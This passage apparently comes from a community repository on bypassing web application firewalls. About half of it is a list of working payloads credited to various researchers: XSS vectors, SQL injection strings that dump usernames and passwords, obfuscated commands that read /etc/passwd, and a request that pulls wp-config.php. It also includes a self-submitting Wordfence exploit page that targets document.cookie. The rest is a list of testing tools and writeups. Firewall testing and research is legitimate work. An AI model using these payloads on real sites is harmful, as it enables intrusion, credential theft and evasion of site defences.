%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E
- XSS Bypass by @WAFNinja
?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>
<a href=javascript:confirm(1)>
/???/??t+/???/??ss??
;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd
- XSS Bypass by @Luka
"><input/onauxclick="[1].map(prompt)">
data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
<input type=submit></form>
<object/data=javascript:alert()>
<a/href="javascript%0A%0D:alert()>clickme
- Directory Traversal by @ZeQ3uL (<= v3.1) (Only on ASP.NET)
http://host.com/test.asp?file=.%./bla.txt
- Cross Site Scripting by @0xInfection
<a69/onauxclick=open()>rightclickhere
-
Bypassing All Protections Using A Whitelist String by @Osanda Malith
- XSS PoC
http://host.com/?vulnparam=<script>alert()</script>&ithemes-sync-request- LFI PoC
http://host.com/?vulnparam=../../../../../etc/passwd&ithemes-sync-request- SQLi PoC
http://host.com/?vulnparam=1%20unionselect%20@@version,2--&ithemes-sync-request
- Cross Site Scripting by @WAFNinja
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<img src=x onwheel=prompt(1)>
- SQLi by @WAFNinja
0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)
- XSS Bypass by @Aatif Khan (v4.1)
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
- XSS Bypass by @brute Logic
<a href=javascript:alert(1)>
<a href=javascript:alert(1)>
- XSS Bypass by @0xInfection
<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:/**/alert()/**/>click
http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
- XSS Exploit by @MustLive (>= v3.3.5)
<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email"
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>
- Writing method type in lowercase by @i_bo0om
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
- Tabs before method by @i_bo0om
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
- WAFW00F - The ultimate WAF fingerprinting tool with the largest fingerprint database from @EnableSecurity.
- IdentYwaf - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by @stamparm.
- GoTestWAF - A tool to test a WAF's detection logic and bypasses from @wallarm.
- Lightbulb Framework - A WAF testing suite written in Python.
- WAFBench - A WAF performance testing suite by Microsoft.
- WAF Testing Framework - A WAF testing tool by Imperva.
- Framework for Testing WAFs (FTW) - A framework by the OWASP CRS team that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline.
- WAFNinja - A smart tool which fuzzes and can suggest bypasses for a given WAF by @khalilbijjou.
- WAFTester - Another tool which can obfuscate payloads to bypass WAFs by @Raz0r.
- libinjection-fuzzer - A fuzzer intended for finding
libinjectionbypasses but can be probably used universally. - bypass-firewalls-by-DNS-history - A tool which searches for old DNS records for finding actual site behind the WAF.
- abuse-ssl-bypass-waf - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs.
- SQLMap Tamper Scripts - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs.
- Bypass WAF BurpSuite Plugin - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network.
- enumXFF - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions
- AWS Firewall Factory - Deploy, update, and stage your WAFs while managing them centrally via FMS.
Many of the content mentioned above have been taken from some of the following excellent writeups.
- Web Application Firewall (WAF) Evasion Techniques #1 - By @Secjuice.
- Web Application Firewall (WAF) Evasion Techniques #2 - By @Secjuice.
- Web Application Firewall (WAF) Evasion Techniques #3 - By @Secjuice.
- How To Exploit PHP Remotely To Bypass Filters & WAF Rules- By @Secjuice
- ModSecurity SQL Injection Challenge: Lessons Learned - By @SpiderLabs.
- XXE that can Bypass WAF - By @WallArm.
- SQL Injection Bypassing WAF - By @OWASP.
- How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing - By @SunnyHoi.
- Bypassing Web-Application Firewalls by abusing SSL/TLS - By @0x09AL.
- Request Encoding to Bypass WAFs - By @Soroush Dalili
- WAF Bypass Techniques Using HTTP Standard and Web Servers Behavior from @OWASP.
- Confessions of a WAF Developer: Protocol-Level Evasion of Web App Firewalls from BlackHat USA 12.
- Web Application Firewall - Analysis of Detection Logic from BlackHat.
- Bypassing Browser Security Policies for Fun & Profit from BlackHat.
- Web Application Firewall Bypassing from Positive Technologies.
- Fingerprinting Filter Rules of Web Application Firewalls - Side Channeling Attacks from @UseNix.
- Evading Deep Inspection Systems for Fun and Shell from BlackHat US 13.
- Bypass OWASP CRS && CWAF (WAF Rule Testing - Unrestricted File Upload) from Fools of Security.
- WAFs FTW! A modern devops approach to security testing your WAF from AppSec USA 17.
- Web Application Firewall Bypassing WorkShop from OWASP.
- Bypassing Modern WAF's Exemplified At XSS by Rafay Baloch from Rafay Bloch.
- WTF - WAF Testing Framework from AppSecUSA 13.
- The Death of a Web App Firewall from Brian McHenry.
- Adventures with the WAF from BSides Manchester.
- Bypassing Intrusion Detection Systems from BlackHat.
- Building Your Own WAF as a Service and Forgetting about False Positives from Auscert.
- Protocol Level WAF Evasion - A protocol level WAF evasion techniques and analysis by Qualys.
- Neural Network based WAF for SQLi - A paper about building a neural network based WAF for detecting SQLi attacks.
- Bypassing Web Application Firewalls with HTTP Parameter Pollution - A research paper from Exploit DB about effectively bypassing WAFs via HTTP Parameter Pollution.
- Poking A Hole in the Firewall - A paper by Rafay Baloch about modern firewall analysis.
- Modern WAF Fingerprinting and XSS Filter Bypass - A paper by Rafay Baloch about WAF fingerprinting and bypassing XSS filters.
- WAF Evasion Testing - A WAF evasion testing guide from SANS.
- Side Channel Attacks for Fingerprinting WAF Filter Rules - A paper about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12.
- WASC WAF Evaluation Criteria - A guide for WAF Evaluation from Web Application Security Consortium.
- WAF Evaluation and Analysis - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from University of Amsterdam.
- Bypassing all WAF XSS Filters - A paper about bypassing all XSS filter rules and evading WAFs for XSS.
- Beyond SQLi - Obfuscate and Bypass WAFs - A research paper from Exploit Database about obfuscating SQL injection queries to effectively bypass WAFs.
- Bypassing WAF XSS Detection Mechanisms - A research paper about bypassing XSS detection mechanisms in WAFs.
- Methods to Bypass a Web Application Firewall - A presentation from PT Security about bypassing WAF filters and evasion.
- Web Application Firewall Bypassing (How to Defeat the Blue Team) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by @OWASP.
- WAF Profiling & Evasion Techniques - A WAF testing and evasion guide from OWASP.
- Protocol Level WAF Evasion Techniques - A presentation at about efficiently evading WAFs at protocol level from BlackHat US 12.
- Analysing Attacking Detection Logic Mechanisms - A presentation about WAF logic applied to detecting attacks from BlackHat US 16.
- WAF Bypasses and PHP Exploits - A presentation about evading WAFs and developing related PHP exploits.
- Side Channel Attacks for Fingerprinting WAF Filter Rules - A presentation about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12.
- Our Favorite XSS Filters/IDS and how to Attack Them - A presentation about how to evade XSS filters set by WAF rules from BlackHat USA 09.
- Playing Around with WAFs - A small presentation about WAF profiling and playing around with them from Defcon 16.
- A Forgotten HTTP Invisibility Cloak - A presentation about techniques that can be used to bypass common WAFs from BSides Manchester.
- Building Your Own WAF as a Service and Forgetting about False Positives - A presentation about how to build a hybrid mode waf that can work both in an out-of-band manner as well as inline to reduce false positives and latency Auscert2019.
Initial fingerprint compilation and bypasses were put together by Pinaki (0xInfection), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the Apache 2.0 License.